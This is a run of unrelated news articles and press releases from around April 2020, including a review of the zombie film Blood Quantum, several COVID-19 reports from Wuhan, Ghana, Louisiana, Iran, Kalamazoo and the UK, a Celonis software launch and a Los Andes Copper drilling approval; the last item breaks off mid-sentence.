Quantum may get off to a doddering start once the film begins introducing its cast, but the language of extinction lingers in the air like an unmoving cloud. Its 1981 the same year that a young Barnaby witnessed the Quebec governments race-driven raids on the Listuguj MigMaq First Nation (documented in Alanis Obomsawins Incident at Restigouche) and something fishy is going on in the MigMaq reserve of Red Crow. Its the fish, actually: Theyre flopping back to life, even after theyve been gutted. Sheriff Traylor (a grounded and believable Michael Greyeyes) is a bit freaked out by the discovery, but hes already got plenty of other headaches on his mind. Story continues Chief among them are his two delinquent sons, Joseph (The Miseducation of Cameron Post actor Forrest Goodluck) and Lysol (Kiowa Gordon, playing a leather-bound troublemaker whose entire aesthetic can be described as guy who saw The Warriors one too many times). Theyre both in lockup at the local precinct; Lysol spends every night in the drunk tank, but Joseph who still has a shimmer of potential is only there because hed rather be in jail with his truculent half-brother than spend time with his white pregnant girlfriend, Charlie (Olive Scriven). No one is ever ready to become a father, but some people are significantly less ready than others. For Joseph, being a bad parent almost feels like his birthright. As Traylor tells his ex-wife (Elle-Maija Tailfeathers): I think he thinks his dad is a fuck-up, and that gives him a free pass. Free pass or not, Joseph picked a bad night to be an immature little punk, because it turns out the fish arent the only thing thats gone afoul; the scuzzy white stranger whos locked up with Jason and Lysol is starting to twitch. A few uninspired zombie attacks later and its clear that the people of Red Crow have a problem on its hands and its solution in their blood. Thats when Barnabys script makes a radical decision that upends expectations and justifies much of the stale table-setting that dominates the first act, as the story jumps six months forward to find that the MigMaq are inexplicably immune to the plague that has wiped out the rest of the planet. Maybe the earth just forgot about us, someone muses. As Traylor and the rest of his tribe set up a well-fortified quarantine zone on one side of the J.C. Van Horne Bridge, Blood Quantum seeps into a situation that reaffirms the violent dynamics of colonialism, while also inverting its usual power structure. As ever, the indigenous people are forced to fend off a bloodthirsty mob of white aggressors who seek to decimate their culture and eat them alive. But while the MiqMaq like so many victims of colonization feel obligated to embrace their oppressors, the difference here is that they arent compelled by their own self-preservation. If Traylor, Lysol, Joseph and the others agree to let uninfected townies into their safe haven, they do so only out of mercy for all of Gods children (and they do so at their own peril). Blood Quantum never takes itself too seriously, but the film is careful about the fun it chooses to have. The main conflict in Barnabys story isnt between the living and the undead so much as it is between the various MigMaq survivors. Its hard for the indigenous people to welcome outsiders without endangering their own one unsettling scene finds Traylor being forced to execute an infected little girl whose father brings her to the Red Crow encampment and some of them (Lysol most of all) are a bit too excited that the natives are in a position to do the othering for once. Were not supposed to be helping people, someone insists. Were supposed to be surviving. But it might be a mistake to think of those options as mutually exclusive, and Traylor will have to fight his own family in order to decapitate the us vs. them mentality that has long compelled humanity to devour itself. The filmmaking in Blood Quantum is seldom as compelling as its premise, and its frustrating to watch such a fresh take on the zombie genre be mired in several of its most rotten tropes. Some quibbles are easy to shrug off. People in zombie movies always lie about getting bitten, but theres no way these characters would be dumb enough to take them at their word. Also, as elegant as it is that Charlie and Josephs child represents hope for reconciliation, and also fear of a demonic offspring (People look at me like my vagina is Pandoras box, says the mom-to-be), Chekhovs Uterus is a tricky thing to get right in a film that tries to split the difference between Children of Men and Dawn of the Dead. The babys thematic heft is undeniable, but its inevitable arrival cant help but seem contrived in the absence of more detailed character development. Every member of Barnabys cast is memorable in one way or another (Stonehorse Lone Goeman is a particular standout as Traylors father, a sword-wielding badass who redeems decades of systemic defeat with each slice of his blade), but the films individual human drama is hopelessly suffocated by its greater social message. Stretching a small budget well beyond its limits despite being the most expensive indigenous-directed film ever made in North America Blood Quantum softens its unique power by trying to match the scale of the genres mainstream offerings. The practical gore is impressive even when the CGI flourishes barely rise above Sharknado levels, but its painful to watch how Barnabys well-honed sense of place is diluted between hurried world-building and lackluster action sequences. If only each of the movies brief (yet lush) animated sequences were replaced by scenes that probed deeper into the MigMaqs dilemma and/or fleshed out the people forced to decide it. Light on the scares that genre fans hunger for, and short of the craft that might help it to connect with viewers who are otherwise contemptuous of socially conscious horror, Blood Quantum struggles to reconcile the shlockiness of its making with the sensitivity of its design. But when it works it works, and Barnaby punctuates the film with moments of grotesquely resonant power that would be impossible to create in any other context. For every beat weve seen a million times, Blood Quantum offers one unlike anything weve seen at all; watching a horde of white zombies tear an indigenous man apart, its clear that Barnabys most valuable imagery is only so potent because it feels so familiar. Grade: C+ Blood Quantum is now available to stream on Shudder. Best of IndieWire Sign up for Indiewire's Newsletter. For the latest news, follow us on Facebook, Twitter, and Instagram. A few gutsy Indians who stayed put in Wuhan are back at work after a strict 76-day lockdown, but are still worried about the possibility of a second wave of attack by the vicious coronavirus, going by the growing number of asymptomatic cases in the country. Wuhan, the central Chinese city at the epicentre of the coronavirus pandemic, made global headlines on Sunday as the last COVID-19 patient was discharged, marking an important milestone in the city's fight against the invisible enemy, while India and several other countries are still under strict lockdown to curb the spread of the disease that has claimed over 210,000 lives worldwide. With 50,333 confirmed cases and 3,869 deaths, Wuhan bore the brunt of the highly-infectious virus which first emerged there in December last year and spread like wildfire in the city of 11 million people before turning into a global pandemic, virtually bringing the world to a grinding halt. Wuhan, which became famous in India for the historic first informal summit between Prime Minister Narendra Modi and Chinese President Xi Jinping in 2018, is a major international educational centre and industrial hub with some of China's famous scientific research centres and laboratories, attracting students from India and abroad. After the virus outbreak, over 600 Indian students and professionals were evacuated in February by the Indian government to ensure their safety but few Indians chose to stay put and opted to brave the crisis through for professional and personal reasons. Some of them spoke candidly on the present situation in Wuhan but on the condition of anonymity when PTI contacted them to find out their impressions as the city limped back to normalcy after facing the worst public health crisis in modern history. "Yes, the lockdown was lifted on April 8 and more and more people ventured out but only for work and to buy the essentials. Most of the people stayed at home due to fear of asymptomatic cases," an Indian researcher said. China's National Health Commission (NHC), which issues a daily COVID-19 update, has said that no new cases or deaths have been reported in Wuhan for the past several days. On Monday, 40 new asymptomatic cases, including three from abroad, were reported in China. So far 997 asymptomatic cases, including 130 from abroad, were still under medical observation, the NHC said on Tuesday. Hubei province, of which Wuhan is the capital, had 599 asymptomatic cases under medical observation by Monday. After the virus outbreak abated, China closed the 16 temporary hospitals in the worst-hit city and withdrew over 42,000 medical personnel from other provinces in Wuhan though asymptomatic cases continue to be reported. Asymptomatic cases refer to people who tested positive for the coronavirus but develop no symptoms such as fever, cough or sore throat. They pose a risk of spreading the infection to others. "As a result of the asymptomatic cases, there is unease and apprehension among people as you don't know about the people you meet both at work and in the city, another Indian said, adding that there is a fear of a second wave of COID-19 infections in the city. As a result, most of the people continue to stay back at home after work, he added. Though the lockdown has been lifted, local officials continue to ask people to stay indoors, saying the global situation of the coronavirus is still critical. Thousands of people, who were held up in Wuhan, left after the lockdown but the city is still dealing with the carriers of the virus, he said. Situation has improved a lot but people maintain social distancing and follow self-isolation, another Indian researcher said. The Indians said Wuhan health authorities are stepping up testing. They were using nucleic acid tests to determine COVID-19 infections, especially the asymptomatic cases. There is also apprehension about recurrence of the virus among those who recovered, another Indian said. The Wuhan-based Indians also say that most of them are concerned that the virus is spreading in India. In January, February and March, my family was worried about me, now I am worried about them and continuously monitoring the spread of the virus back home, he said. An Indian scientist with virology background said that like in Wuhan, the lockdown broke the chain of the coronavirus in India, containing the infection. "Barring a few states the peak seems to be over in India and the credit goes to the lockdown in the country though it appears to be chaotic at times, he said. About the controversy over the origins of the virus, another Indian researcher said the world should focus first to bring the virus under control and later address such issues. The novel coronavirus is believed to have originated in a wet market in Wuhan and first emerged in December before spreading quickly worldwide. The US has demanded a probe whether the virus broke out from the Wuhan Institute of Virology. China says issues like the origin of the coronavirus should be left to science and medical professionals. A total of 4,633 people died in China due to the coronavirus. As of Monday, the overall confirmed cases in China reached 82,836, including 648 patients who were still being treated and 77,555 people discharged from hospitals. The novel coronavirus has killed more than 210,000 people worldwide and infected over 3 million others, according to a tally by Johns Hopkins University. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Vice President Dr Mahamudu Bawumia 28.04.2020 LISTEN Vice President Dr Mahamudu Bawumia has congratulated the Kwame Nkrumah University of Science and Technology (KNUST) and Incas Diagnostics for their breakthrough in developing a Rapid Diagnostic Test (RDT) for COVID-19. In a tweet, Dr Bawumia said:Uniquely, this KNUST RDT is able to detect asymptomatic cases and takes up to 15-20 minutes to produce results. Im proud of our Ghanaian students for this breakthrough. It is expected that the Food and Drugs Authority (FDA) would critically examine the medical device and approve it for mass testing for COVID-19 soon. This is to enhance surveillance testing for COVID-19 towards ending the respiratory disease in the country. The innovation comes when the same institution recently announced that it has produced a ventilator. The College of Engineering of KNUST also held a demonstration exercise to explain the working operation of the home-made prototype ventilator. The medical equipment, which is in the advanced stages of development, is a collaborative work between the College's Computer Engineering Department and Michigan Technological University. Ghanas confirmed cases for COVID-19 is 1,671 as at April 28 with 188 recoveries and 11 deaths. As the novel coronavirus (COVID-19) continues to wreak havoc around the world, medical providers are struggling with short supplies of personal protective equipment (PPE). To address this growing problem, mobile app developer Dogtown Media has teamed up with apparel company Late Sunday Afternoon and the Schusterman Family Foundation. Together, the three organizations are donating reusable, washable protective masks to healthcare facilities across the United States. When the state of California was hit with its first few cases of COVID-19, Late Sunday Afternoon Founder and CEO Matthew Schildkret immediately shuttered his clothing shops doors. His business was considered non-essential, and he did not want to put the health of his employees at risk. But as the coronavirus crisis unfolded in the U.S., it became clear that medical facilities needed all the help they could get. The current PPE shortage leaves numerous healthcare providers and patients susceptible to contracting and spreading COVID-19. Desperate times call for innovative measures. Schildkret discussed the dilemma with Dogtown Media Co-Founder and CEO Marc Fischer. Together, the two created a strategy to help out: Create a 1-for-1 protective mask donation campaign. Within the first hour of launching, the campaign received hundreds of orders. To deal with the demand, Schildkret immediately sprung into action. He retooled his clothing companys equipment and brought in a few of his team members to ramp up production. Within a week, the campaign quickly scaled to thousands of placed orders per day. Fischer sought ways to amplify his and Schildkrets efforts. Fortunately, the Charles and Lynn Schusterman Family Foundation was more than happy to help. The organization has offered to provide a generous micro-grant of $2500. With these funds, Schildkret and Fischer plan to send protective masks to multiple organizations, including Minneapolis-based nonprofit Allina Health; New York-Presbyterian/Columbia University Medical Center; Columbus Colony Elderly Care in Ohio; and other care facilities across the nation. Located in Los Angeles, Late Sunday Afternoon is a clothing company that hand-crafts functional, comfortable, and stylish apparel. It sources materials locally and employs a conscientious production process to promote zero waste and sustainability. The Charles and Lynn Schusterman Family Foundation is a global philanthropic organization that strives to improve lives by empowering communities and advancing equity. It invests in efforts that enhance public education and address the needs of marginalized individuals. Headquartered in Venice Beach, California, Dogtown Media is a mobile technology studio that leverages disruptive design strategies and dynamic development to deliver industry-leading apps. To date, the company has created over 200 mobile apps in industries including Healthcare app development, IoT, and Artificial Intelligence. For more information about Late Sunday Afternoons 1-for-1 campaign, click here. PARRIS ISLAND, S.C. Stretched above the main boulevard on this historic training base in the Mid-Atlantic marsh is a white and black-lettered sign: WE MAKE MARINES. The sign has been there for years, often serving as a snapshot backdrop for families arriving to watch their recruits graduate from boot camp after 13 weeks of mentally and physically exhausting training. But in recent months, as lawmakers have pushed the Marine Corps to combine men and women in the same training platoons, just how the Corps will make Marines is the latest struggle for its identity. The proposal to place men and women in the same platoons at boot camp, already well-practiced in other military branches but long resisted by the Marines, is only one part of the services move toward gender integration and follows the opening of combat arms schools and units to women. Bearing U.S. flags and protest signs, a few hundred people on Monday declared their right to practice their faith in person despite restrictions due to the novel coronavirus pandemic and called for the freedom of a Central pastor who has defied those orders. In-state and out-of-state preachers offered fiery rhetoric from the back of a pickup truck in front of the Governor's Mansion for about an hour and a half, quoting Bible verses and the U.S. Constitution, to argue restrictions barring in-person religious services are immoral and run counter to the nation's founding roots. The Rev. Tony Spell, pastor of Life Tabernacle Church, was placed under house arrest Saturday after a judge found the pastor would not agree with the conditions of his bail from a prior arrest that he should follow the state's emergency orders from the pandemic, including not holding large-scale, indoor, public religious services. Spell and his congregation, who had a service on Sunday despite the house arrest, have defied Gov. John Bel Edwards' social distancing orders for weeks and continued to hold in-person services even as many other houses of faith have gone online. +12 Central pastor arrested, released after accusations he nearly hit protester with bus The leader of a Central church who's defied Louisiana crowd-size limits aimed at quelling the coronavirus outbreak vowed Tuesday to continue p The speakers said Monday that now is the time for them and other religious leaders to stand up against Spell's confinement and the state worship restrictions, which they argued are part of broader moral decline tied to modern culture and present a risk of further erosion of constitutional rights once the pandemic has passed. "It's time that the church stands up. We've cowered down in the corner of silence far too long, and our silence has become our compromise. Do you hear me, church," the Rev. Greg Locke, pastor of Global Vision Bible Church in Nashville, Tennessee, asked the group. "Our silence has become our compromise. I'm not against what a lot of preachers say. I'm against what a lot of preachers don't say. Somebody say, 'Amen," right here." "Amen," some shouted. At one point, the Rev. Joshua Feuerstein, an itinerant preacher with a large Facebook following who helped organize the event, had the other gathered ministers to raise hands in front of reporters at the protest. "We're here to protest, but we're here to pray," Locke said. Locke prayed for the event to spark a revival among religious leaders across the country. Some of the ministers prayed; others spoke in tongues. Vaccine news in your inbox Once a week we'll update you on the progress of COVID-19 vaccinations. Sign up today. e-mail address * Sign Up The protesters, many dressed in patriotic clothing but no masks, gloves or other protective equipment, carried signs such as "Too Legit To Quit," "Free Pastor Spell," "I stand with Pastor Spell" and "Read 1st Amendment." Central pastor Tony Spell placed on house arrest, ordered not to hold church large services The Central pastor who defied the coronavirus stay-at-home order was placed on house arrest Saturday morning after refusing to tell a state di They also raised hands to pray for a change in Edwards' and state government's posture toward the pandemic and called out the governor for his stance. The state orders' are aimed at limiting the virus's spread. The protest came hours before Edwards announced that statewide declines in cases and hospitalizations haven't been enough yet to allow social distancing restrictions to be eased. With minor changes, the stay-at-home order is expected to last through May 15. Also on Monday, Judge Fred Crifasi, the 19th Judicial District jurist who placed Spell under house arrest, ordered that a hearing on whether Spell violated his bail conditions shall be set "as soon as the Court is open for such hearings" and that Spell will remain under his current bail conditions until then. Crifasi added that he doesn't want to expose the Parish Prison population to Spell by putting him in jail. +6 Pastor Tony Spell returns to Central church to preach despite being on house arrest The pastor of a Central church who has defied state orders to limit the number of congregants at his worship services violated another order S "Any further violations properly brought to this Court's attention will be separately addressed as circumstances required and/or will be included and addressed at the anticipated hearing," Crifasi wrote. The judge added that he doesn't have jurisdiction over people who voluntarily attend Spell's church. The bail conditions stem from Spell's arrest last week on counts of aggravated assault and improper backing of a vehicle after he had been accused of nearly hitting a protester outside his church on April 19. Spell has maintained his innocence. Spell was not seen at the gathering Monday, but his wife, Shaye, was there along with his father, the Rev. Timothy Spell, who also spoke to the group. After the event was over, the protesters were fed box lunches. Servers wore rubber gloves but no masks. [April 28, 2020] Celonis Puts AI to Work with Launch of New Operational Applications Celonis, the market leader in AI-powered process mining and process excellence software, today launched the next generation of its platform, enabling customers and partners to develop purpose-built Operational Applications. At Celosphere Live, Celonis' second annual customer conference with more than 15,000 registrants, the company demonstrated the platform and unveiled the first two of many new Operational Applications to come, one for Accounts Payable and one for Materials Management in Supply Chain. Celonis Operational Applications combine Celonis' market-leading process mining engine with business context, AI, and automation to sense friction in processes and take intelligent action to optimize business operations for the desired outcome. The role-based applications embed AI into each step of a business operation. Executives set business priorities by KPI and the Celonis Process AI Engine automates tasks in systems, prescribes guidance to employees, and prioritizes workflows to achieve the desired outcome. "Celonis has been the pioneer in moving process mining from theory into becoming the B2B solution for frictionless operations at an unprecedented scale," said Alexander Rinke, co-founder and co-CEO of Celonis. "With the launch of the next-generation platform for Operational Applications, we are leveraging the full potential of AI-enhanced process mining - not as a way to supplant the human workers but to instead make their jobs enjoyable and productive. Operational Applications connect to enterprise systems in real time to put AI to work directly in your operations, so you can react as the market shifts. We can now say to customers: it's as simple as this, you set your desired business outcomes and we'll steer you to it." Put AI to Work in Your Operations The new portfolio of Operational Applications extends Celonis' AI-powered process mining technology to engage people and systems to operate in an outcome-driven manner. Sense: The Celonis Process AI Engine analyzes all of the process data residing in source systems and desktops to surface process 'blockers' that prevent the desired outcome. AI and Machine Learning combine to sense anomalies and signal intelligent real-time actions in context, thus providing process guidance, work reprioritization, and specific actions using data intelligence from 2000+ Celonis deployments. Act: Automation enables rapid action through out-of-the-box skills that translate insights into eliberate tasks that users activate at the touch of a button or that systems drive without user involvement. Industry Leaders Excited about Embracing New Way to Work HFS Founder and CEO Phil Fersht said, "Celonis has been the industry pioneer that has elevated process mining to the forefront of the strategic operations narrative. Expanding into operational apps with this powerful focus on analytics and intelligent automation drives a compelling process orchestration proposition in a challenging market crying out for this capability." Sam Covell, Chief Procurement Officer for Genpact (News - Alert), says: "Celonis continues to develop exciting new capabilities and operational apps that will help drive positive outcomes for both Genpact and our clients." "I am convinced that the new Celonis Operational App for Accounts Payable will enable our organization to bring both process efficiency and process robustness to an even higher level," said Justin Pawlowski, Head of Internal Audit at ALSO - THE TECHNOLOGY PROVIDER. "Value drivers are addressing friction on a transactional level in a more timely way, benefiting from data- and process-insights-driven priorities for day-to-day operations and putting different organizational levels into the position of monitoring this highly digitized process even more efficiently." During her keynote at Celosphere Live, Chief Product Officer Hala Zeine noted: "Celonis has democratized process knowledge for every employee who touches a process. It shows the employee not only what happened, but why and where it happened. Celonis then works alongside the transaction systems to enable everyone to focus on the desired business outcome, to sense friction along the way and decisively act and eliminate repetitive tasks and decisions. The end result is that departments have a better understanding of how their KPIs connect to the processes that drive them. They now have the means to take the actions in real time that will deliver optimal business outcomes." Anyone Can Build Operational Applications The Operational Applications are supported by real-time Data Connectivity, a must-have capability, which Celonis also unveiled as generally available. Real-time Data Connectivity enables Celonis to extract and analyze data from traditional source-systems including SAP (News - Alert), Salesforce, and ServiceNow in real time to sense friction and provide in-process, in-context real time actions for operational users. The enhanced platform provides the foundational capabilities for customers and partners to build their own purpose-built Operational Applications, leveraging Celonis' powerful AI-enhanced platform. At Celosphere Live, Celonis CTO and co-founder Martin Klenk will demonstrate how to build an Operational Application from scratch. First Operational Applications for Accounts Payable and Materials Management in Supply Chain Drive Priority Outcomes Like Cash Preservation and Customer Satisfaction The first Operational Applications built on the enhanced Celonis platform are designed explicitly to enable frictionless Accounts Payable and Materials Management in Supply Chain operations, two of the most mission-critical areas in any enterprise. Both are immediately available and Fresenius Kabi - a Celonis co-innovation customer - showcased the Accounts Payable Operational Application at Celosphere Live. Celonis and its partners will continue to release additional solutions based on the new platform over the next year, including Operational Applications for Procurement, Accounts Receivable, Opportunity Management, Customer Service, and some industry specific use cases. Jan Fuhr, Process Mining Lead at Fresenius Kabi, stated: "I am confident that the new Celonis Operational Application for Accounts Payable will accelerate our day-to-day operations on a level that was never there before - from automating repetitive tasks to combining data and insights in order to really bring forward day-to-day results." To learn more about the Celonis Accounts Payable and Materials Management in Supply Chain Operational Applications, visit our site. To watch the Celosphere Live sessions taking place from April 28-30 or available on-demand, please visit https://www.celonis.com/celosphere-live. About Celonis: Celonis, the market leader in AI-powered Process Mining and Process Excellence software, transforms data into insight and action. Its Intelligent Business Cloud allows organizations to rapidly understand and improve the operational backbone of their businesses. Companies around the world including Siemens, 3M, Airbus and Vodafone (News - Alert) rely on Celonis to guide action and drive change to business processes, resulting in millions of dollars of cost savings and improved customer experiences. The company is based in Munich and New York. View source version on businesswire.com: https://www.businesswire.com/news/home/20200428005583/en/ [ Back To TMCnet.com's Homepage ] Irans foreign minister has rejected the idea that the United States can claim that it remains a participant in the Iranian nuclear deal in order to return sanctions against Iran back to where they were before the deal. Mohammad Javad Zarif tweeted April 27, 2 years ago, [US Secretary of State Mike Pompeo] and his boss declared 'ceasing US participation' in JCPOA, dreaming that their 'max pressure' would bring Iran to its knees. Given that policys abject failure, he now wants to be JCPOA participant. Stop dreaming: Iranian nation always decides its destiny. JCPOA is the abbreviation for the Joint Comprehensive Plan of Action, the 2015 nuclear deal between Iran and the five permanent members of the UN Security Council plus Germany. The Trump administration formally exited the deal in May 2018 and reapplied sanctions on Iran. Zarifs tweet was in response to a New York Times story that said Pompeo is planning on arguing that it remains a participant in the JCPOA in order to trigger whats called a snapback provision that would bring back all the pre-2015 UN-related sanctions on Iran for its nuclear program. The snapback mechanism says a country can raise an issue of Iranian noncompliance and demand that Iran resolve it within 30 days; otherwise, UN sanctions would be reapplied. Currently, Iran is under US sanctions, but the threat of secondary sanctions from the US Treasury has scared off nearly all European investors from doing business with Iran. As it continues to fight the coronavirus, Iran has asked world countries for sanctions relief. Medical supplies are not subject to US sanctions under a humanitarian exemption. In a phone conversation April 27 with Indonesian President Joko Widodo, Iranian President Hassan Rouhani said US sanctions are in conflict with fundamental human rights. He warned that opposing the lifting of sanctions as the country deals with the corona virus is dangerous. According to the numbers presented by Irans Health Ministry, the trend of coronavirus cases and deaths has leveled off. Kianoush Jahanpour, a spokesman for Irans Health Ministry, said that in the previous 24 hours there had been 991 new cases, bringing the total cases to 91,472. According to Jahanpour, Irans latest number is the first time new confirmed cases have dropped below 1,000 for a 24 hour period in 36 days. Jahanpour also said that in the previous 24 hours 96 people had died of coronavirus complications, bringing the total death toll to 5,706. Iran has begun to open up parts of the economy in gradual phases, allowing for more stores and offices to reopen if they abide by specific guidelines. Rouhani said the National Committee to Combat Coronavirus has designed a white, yellow, red color system to describe the measures regions will have to take as they open up stores and religious sites. The color designation will be made by the Health Ministry. Rouhani did not share the details of how the designations would be made, but gave an example that if a specific region does not have any new cases or deaths for a week, it could be designated as a white region. KALAMAZOO, MI -- After newly confirmed coronavirus cases dipped over the last few days, the figure shot back up as 27 new COVID-19 cases were confirmed Tuesday, April 28. In total, state data shows 327 cases and 12 deaths tied to the virus in Kalamazoo County. The next highest single-day increase in Kalamazoo Countys COVID-19 cases was on Friday, April 24, when 37 new cases were reported. Of the 327 people who tested positive since the start of the pandemic, 62 people have been hospitalized, according to county data. Bronson Healthcare reported 20 patients were receiving treatment at Bronson Methodist, as of Monday, April 27. The downtown hospital reported 35 recovered cases and 13 deaths. About 15 patients are being treated in the COVID-19 unit at Ascension Borgess, Chief Medical Director Thomas Rohs said on Tuesday. Ascension Borgess has declined to give precise numbers detailing patient, recovery and death data, citing patient privacy. On average, hospitalized patients stay for three days before their symptoms are manageable enough to go home, Rohs said. With the exception of vulnerable populations, Rohs said he expected to see the patient flow stay level. However, the number of cases will largely depend on if social distancing continues, he said. In a couple weeks we might see a little bump because people are not really following the loosening restrictions, he said. Theyre just not following any restrictions, at least from what Ive observed. RELATED: Expected surge of coronavirus hasnt happened in Kalamazoo County. Is social distancing working? On Sunday, the county reported its 12th death as a result of the virus. Kalamazoo County is among 20 other counties that have recorded 10 or more deaths as a result of the coronavirus. The county, which according to the latest census data is the states ninth largest, ranks 12th in cases and 16th in deaths, compared to the rest of the state. Of the countys 12 deaths, five have occurred in people between the ages of 60-79 and seven in people over 80, according to a Monday news release from the county. The most recent person to die was between the ages of 60-79 and did not have any underlying health conditions, county officials said on Monday. Kalamazoo Countys Health Officer Jim Rutherford reminded the community at the April 21 county commissioner meeting that the number of cases is a direct result of increased testing. For example, the first rolling test site at Stones Church resulted in 23 positive tests in one day. The countys highest single-day increase, on April 24, occurred the day after Family Health Center set up a testing site at Loy Norrix High School. During last weeks testing, 294 people were screened, according to a Family Health Center representative. Of those, 17 tested positive. Many of the people screened on April 23 were essential workers not exhibiting any symptoms, and most tests returned negative results, according to a Family Health Center representative. This weeks testing site will operate from 8 a.m. to 4 p.m. Thursday, April 30, in the parking lot of Kalamazoo Regional Educational Service Agency,1819 E. Milham Ave. in Portage. This site will be the largest so far, with capacity for 500 tests, Family Health Center CEO and President Denise Crawford said. Individuals who are hoping to get tested must first call the Family Health Center at 269-488-0804 to undergo a pre-test evaluation and assessment to determine whether it is appropriate for them to be tested. Individuals do not need to have been prior patients of the center to be tested. The testing locations are determined based on population density, socioeconomic factors and access to healthcare, Crawford said. After the public and elected officials pushed for more geographic data, Kalamazoo County released data showing the number of positive cases by ZIP code. The two ZIP codes in Kalamazoo County with the most positive cases are the 49009 and 49001 ZIP code. Both have between 46 and 60 cases, according to county data. The 49009 ZIP code includes Oshtemo Township, and also stretches south into sections of Texas Township and north into areas of Alamo and Cooper townships. The 49001 ZIP code includes the city of Kalamazoos Milwood, Edison and Southside neighborhoods, but also portions of the citys South Westnedge, Westnedge Hill and Vine neighborhoods, along with parts of Comstock and Kalamazoo Townships. RELATED: The coronavirus was tailor made to devastate densely populated black Michigan communities The virus continues to disproportionately affect black residents both in Kalamazoo County and statewide. Of Kalamazoo Countys 327 cases confirmed as of Tuesday, 111 were among black patients about 34%. African Americans make up less than 12% of the countys total population, according to the latest census data. In Michigan, African Americans make up 14% of the population but represent 32% of confirmed cases and 41% of the deaths caused by the COVID-19 virus. Underlying health issues within the black community, poverty that restricts access to medical care, crowded living situations and a general lack of trust in the health system are some of the theories put forth for the high rate of COVID-19 among people who are black. Statewide, there were an additional 160 deaths and 1,052 cases reported on Tuesday. In total, the state has recorded 39,262 cases and 3,567 deaths since the pandemic started in March. The states fatality rate for confirmed cases is 9%. A visual representation of the increasing case counts and death toll in Kalamazoo County is shown below, based on data reported by the state. Apparent conflicts in data reported there result from slight differences in daily case counts provided by state and county health officials. Browser does not support frames. More coronavirus coverage on MLive: A timeline of coronavirus in the Kalamazoo area Plainwell meat plants coronavirus case count rises to 86 Kalamazoos Art Hop continues virtual celebration Delta Air Lines files to suspend all flights in Flint, Lansing and Kalamazoo Kalamazoo County hiring temporary nurses at coronavirus quarantine facility for homeless Vancouver, British Columbia--(Newsfile Corp. - April 27, 2020) - Los Andes Copper Ltd. (TSXV: LA) ("Los Andes" or the "Company") is pleased to announce that it has received approval from the Regional Environmental Committee (Comision de Evaluacion Ambiental) for drilling to be carried out at the Company's Vizcachitas Project ("Vizcachitas" or the "Project") over the next four years. The Regional Environmental Committee unanimously approved the drilling permit application submitted by Compania Minera Vizcachitas Holding, the wholly-owned subsidiary of Los Andes that owns the Vizcachitas Project. This approval contemplates up to 350 drill holes to be completed on up to 124 platforms over the next four years. The approval covers the required drilling to complete the Pre-Feasibility Study, which is currently underway. Additionally, it covers further exploration drilling and any other drilling that the Project may require as its development advances. Fernando Porcile, Executive Chairman of Los Andes, commented: "I am delighted to have received unanimous approval from the Regional Environmental Committee for future drilling at Vizcachitas over the next four years." "We are continuing to progress the Pre-Feasibility Study ("PFS") and this approval will allow us to carry out further PFS drilling in the coming months, completing certain aspects of the study and therefore contributing to the delivery of a robust PFS." "I look forward to keeping the market up to date with our progress." For more information please contact: Fernando Porcile, Executive Chairman Tel: +56 2 2954-0450 Antony J. Amberg, President & CEO Tel: +56 2 2954-0450 Blytheweigh, Financial PR Tel: +44 207 138 3203 Megan Ray Rachael Brooks E-Mail: info@losandescopper.com or visit our website at: www.losandescopper.com About Los Andes Copper Ltd. Los Andes Copper Ltd. is an exploration and development company with an 100% interest in the Vizcachitas Project in Chile. The Company is focused on progressing the Project, which is located along Chile's most prolific copper belt, into production. Vizcachitas is one of the largest copper deposit in the Americas not controlled by the majors and the Company believes it will be Chile's next major copper mine. The Project is a copper-molybdenum porphyry deposit, located 120 km north of Santiago, in an area of very good infrastructure. The Company's Preliminary Economic Assessment (the "PEA"), delivered in June 2019, highlights that the Project has a post tax NPV of $1.8 billion and an IRR of 20.77%, based on a $3 per pound copper price. It also has a Measured Resources of 254.4 million tonnes having a grade of 0.439% copper and Indicated Resource of approximately 1.03 billion tonnes having a grade of 0.385% copper. Mineral resources that are not mineral reserves do not have demonstrated economic viability. Please refer to the technical report dated June 13, 2019, with an effective date of May 10, 2019 and titled "Preliminary Economic Assessment of the Vizcachitas Project", prepared by Tetra Tech. The PEA is preliminary in nature, it includes inferred mineral resources that are considered too speculative geologically to have the economic considerations applied to them that would enable them to be categorized as mineral reserves, and there is no certainty that the PEA will be realized. Additionally, there is significant exploration upside at Vizchachitas with potential to increase the resource base beyond the initial 45-year mine life. Antony Amberg, the Company's President and CEO, is the qualified person who has reviewed and approved the scientific and technical information contained in this news release. Los Andes Copper Ltd. is listed on the TSX-V under the ticker: LA. Certain of the information and statements contained herein that are not historical facts, constitute "forward-looking information" within the meaning of the Securities Act (British Columbia), Securities Act (Ontario) and the Securities Act (Alberta) ("Forward-Looking Information"). Forward-Looking Information is often, but not always, identified by the use of words such as "seek", "anticipate", "believe", "plan", "estimate", "expect" and "intend"; statements that an event or result is "due" on or "may", "will", "should", "could", or might" occur or be achieved; and, other similar expressions. More specifically, Forward-Looking Information involves known and unknown risks, uncertainties and other factors which may cause the actual results, performance or achievements of the Company, or industry results, to be materially different from any future results, performance or achievements expressed or implied by such Forward-Looking Information; including, without limitation, the achievement and maintenance of planned production rates, the evolving legal and political policies of Chile, the volatility in the Chilean economy, military unrest or terrorist actions, metal and energy price fluctuations, favourable governmental relations, the availability of financing for activities when required and on acceptable terms, the estimation of mineral resources and reserves, current and future environmental and regulatory requirements, the availability and timely receipt of permits, approvals and licenses, industrial or environmental accidents, equipment breakdowns, availability of and competition for future acquisition opportunities, availability and cost of insurance, labour disputes, land claims, the inherent uncertainty of production and cost estimates, currency fluctuations, expectations and beliefs of management and other risks and uncertainties, including those described in Management's Discussion and Analysis in the Company's financial statements. Such Forward-Looking Information is based upon the Company's assumptions regarding global and Chilean economic, political and market conditions and the price of metals and energy, and the Company's production. Among the factors that have a direct bearing on the Company's future results of operations and financial conditions are changes in project parameters as plans continue to be refined, a change in government policies, competition, currency fluctuations and restrictions and technological changes, among other things. Should one or more of any of the aforementioned risks and uncertainties materialize, or should underlying assumptions prove incorrect, actual results may vary materially from any conclusions, forecasts or projections described in the Forward-Looking Information. Accordingly, readers are advised not to place undue reliance on Forward-Looking Information. Except as required under applicable securities legislation, the Company undertakes no obligation to publicly update or revise Forward-Looking Information, whether as a result of new information, future events or otherwise. Neither TSX Venture Exchange nor its Regulation Services Provider (as that term is defined in policies of the TSX Venture Exchange) accepts responsibility for the adequacy or accuracy of this release. To view the source version of this press release, please visit https://www.newsfilecorp.com/release/54976 Advertisement From tomorrow the Government will count care home deaths and others that happen outside of hospitals in its daily coronavirus updates, Health Secretary Matt Hancock announced today. Until now these victims have only been counted once a week in 